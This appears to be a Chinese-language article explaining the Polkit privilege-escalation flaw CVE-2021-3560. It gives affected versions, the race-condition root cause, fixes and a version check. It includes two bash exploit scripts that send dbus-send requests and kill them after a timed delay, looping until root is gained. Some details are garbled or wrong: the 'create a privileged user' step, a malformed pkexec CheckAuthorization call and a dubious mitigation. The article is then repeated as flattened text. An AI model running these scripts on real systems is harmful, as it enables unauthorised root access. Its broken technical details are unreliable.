CVE-2021-3560的漏洞说明及利用流程
字数 1490 2025-08-09 22:00:46

CVE-2021-3560: Polkit权限提升漏洞分析与利用

漏洞概述

CVE-2021-3560是Polkit(原名为PolicyKit)中一个潜伏7年之久的权限提升漏洞,允许非特权本地用户获得系统root权限。该漏洞于2021年6月公开披露。

受影响版本

  • 漏洞引入版本:Polkit 0.113
  • 受影响版本:0.113到0.118之间的所有版本
  • 修复版本:0.119及更高版本

受影响发行版

  • RHEL 8
  • Fedora 21及更高版本
  • Ubuntu 20.04 LTS (Focal Fossa)
  • Debian 10 (Buster)
  • 以及其他使用受影响Polkit版本的主流Linux发行版

漏洞原理

Polkit简介

Polkit是一个用于在Unix-like操作系统中控制系统范围权限的组件,它为非特权进程与特权进程通信提供了一种机制。Polkit由以下主要组件组成:

  • polkitd:运行在系统后台的守护进程
  • pkexec:允许授权用户以root身份执行命令的工具

漏洞根源

漏洞存在于Polkit的身份验证机制中,具体来说是polkitd处理进程间通信(IPC)请求的方式。当客户端向polkitd发送请求时,Polkit会尝试确定请求者的身份。

漏洞的关键点在于:

  1. 竞态条件:在检查请求者进程是否存在的过程中存在时间窗口
  2. 缺乏错误处理:当无法确定调用者身份时,Polkit会错误地将请求视为来自root用户

技术细节

当Polkit收到一个请求时,它会:

  1. 从DBus消息中获取发送者的进程ID(PID)
  2. 检查该PID对应的进程是否存在
  3. 如果存在,获取进程的用户ID(UID)

攻击者可以利用以下步骤利用此漏洞:

  1. 通过DBus发送特权请求
  2. 在Polkit检查进程存在性之前快速终止发送进程
  3. 导致Polkit无法确定调用者身份
  4. Polkit错误地将请求视为来自root用户(UID 0)
  5. 请求被授权执行

漏洞利用

前置条件

  • 系统上安装有受影响版本的Polkit (0.113-0.118)
  • 拥有一个普通用户账户
  • DBus服务正常运行

利用步骤

方法一:创建特权用户

  1. 准备一个脚本模拟快速终止进程:
#!/bin/bash
# 保存为exploit.sh

# 发送dbus消息并立即终止进程
dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts/User1000 org.freedesktop.Accounts.User.SetPassword string:"hacked" string:"MyHackedPassword" & sleep 0.0008s; kill $!
  1. 执行脚本多次直到成功:
while true; do ./exploit.sh; done
  1. 成功后会创建一个密码为"MyHackedPassword"的特权用户

方法二:通过pkexec执行任意命令

  1. 准备利用脚本:
#!/bin/bash

# 通过dbus调用pkexec并立即终止进程
dbus-send --system --dest=org.freedesktop.PolicyKit1 --type=method_call --print-reply /org/freedesktop/PolicyKit1/Authority org.freedesktop.PolicyKit1.Authority.CheckAuthorization string:"$(printf "%s" "org.freedesktop.policykit.exec" | base64)" array:string:"/bin/sh" uint32:0 uint32:0 string:"/bin/sh" & sleep 0.0008s; kill $!
  1. 多次执行直到获得root shell

自动化工具

可以使用公开的PoC工具如CVE-2021-3560-PoC来自动化利用过程。

漏洞修复

官方补丁

Polkit 0.119版本修复了此漏洞,主要修改包括:

  1. 添加了更严格的进程存在性检查
  2. 改进了错误处理逻辑
  3. 当无法确定调用者身份时拒绝请求而非默认授权

临时缓解措施

如果无法立即升级Polkit,可以采取以下措施:

  1. 限制DBus系统总线访问:
    chmod 750 /usr/bin/dbus-daemon
    
  2. 移除Polkit的setuid位:
    chmod 0755 /usr/bin/pkexec
    
  3. 监控系统日志中异常的Polkit请求

各发行版修复

  • RHEL/CentOS: yum update polkit
  • Ubuntu/Debian: apt-get update && apt-get install policykit-1
  • Fedora: dnf update polkit

检测方法

检查Polkit版本

pkaction --version

验证漏洞是否存在

if [[ $(pkaction --version | cut -d' ' -f3) =~ ^0\.11[3-8] ]]; then
  echo "可能受影响";
else
  echo "可能不受影响";
fi

总结

CVE-2021-3560是一个严重的本地权限提升漏洞,影响广泛使用的Polkit组件。攻击者可以利用此漏洞从普通用户权限提升到root权限,完全控制系统。所有使用受影响版本Polkit的系统都应立即升级到修复版本。

CVE-2021-3560: Polkit权限提升漏洞分析与利用 漏洞概述 CVE-2021-3560是Polkit(原名为PolicyKit)中一个潜伏7年之久的权限提升漏洞,允许非特权本地用户获得系统root权限。该漏洞于2021年6月公开披露。 受影响版本 漏洞引入版本:Polkit 0.113 受影响版本:0.113到0.118之间的所有版本 修复版本:0.119及更高版本 受影响发行版 RHEL 8 Fedora 21及更高版本 Ubuntu 20.04 LTS (Focal Fossa) Debian 10 (Buster) 以及其他使用受影响Polkit版本的主流Linux发行版 漏洞原理 Polkit简介 Polkit是一个用于在Unix-like操作系统中控制系统范围权限的组件,它为非特权进程与特权进程通信提供了一种机制。Polkit由以下主要组件组成: polkitd :运行在系统后台的守护进程 pkexec :允许授权用户以root身份执行命令的工具 漏洞根源 漏洞存在于Polkit的身份验证机制中,具体来说是 polkitd 处理进程间通信(IPC)请求的方式。当客户端向 polkitd 发送请求时,Polkit会尝试确定请求者的身份。 漏洞的关键点在于: 竞态条件 :在检查请求者进程是否存在的过程中存在时间窗口 缺乏错误处理 :当无法确定调用者身份时,Polkit会错误地将请求视为来自root用户 技术细节 当Polkit收到一个请求时,它会: 从DBus消息中获取发送者的进程ID(PID) 检查该PID对应的进程是否存在 如果存在,获取进程的用户ID(UID) 攻击者可以利用以下步骤利用此漏洞: 通过DBus发送特权请求 在Polkit检查进程存在性之前快速终止发送进程 导致Polkit无法确定调用者身份 Polkit错误地将请求视为来自root用户(UID 0) 请求被授权执行 漏洞利用 前置条件 系统上安装有受影响版本的Polkit (0.113-0.118) 拥有一个普通用户账户 DBus服务正常运行 利用步骤 方法一:创建特权用户 准备一个脚本模拟快速终止进程: 执行脚本多次直到成功: 成功后会创建一个密码为"MyHackedPassword"的特权用户 方法二:通过pkexec执行任意命令 准备利用脚本: 多次执行直到获得root shell 自动化工具 可以使用公开的PoC工具如 CVE-2021-3560-PoC 来自动化利用过程。 漏洞修复 官方补丁 Polkit 0.119版本修复了此漏洞,主要修改包括: 添加了更严格的进程存在性检查 改进了错误处理逻辑 当无法确定调用者身份时拒绝请求而非默认授权 临时缓解措施 如果无法立即升级Polkit,可以采取以下措施: 限制DBus系统总线访问: 移除Polkit的setuid位: 监控系统日志中异常的Polkit请求 各发行版修复 RHEL/CentOS: yum update polkit Ubuntu/Debian: apt-get update && apt-get install policykit-1 Fedora: dnf update polkit 检测方法 检查Polkit版本 验证漏洞是否存在 总结 CVE-2021-3560是一个严重的本地权限提升漏洞,影响广泛使用的Polkit组件。攻击者可以利用此漏洞从普通用户权限提升到root权限,完全控制系统。所有使用受影响版本Polkit的系统都应立即升级到修复版本。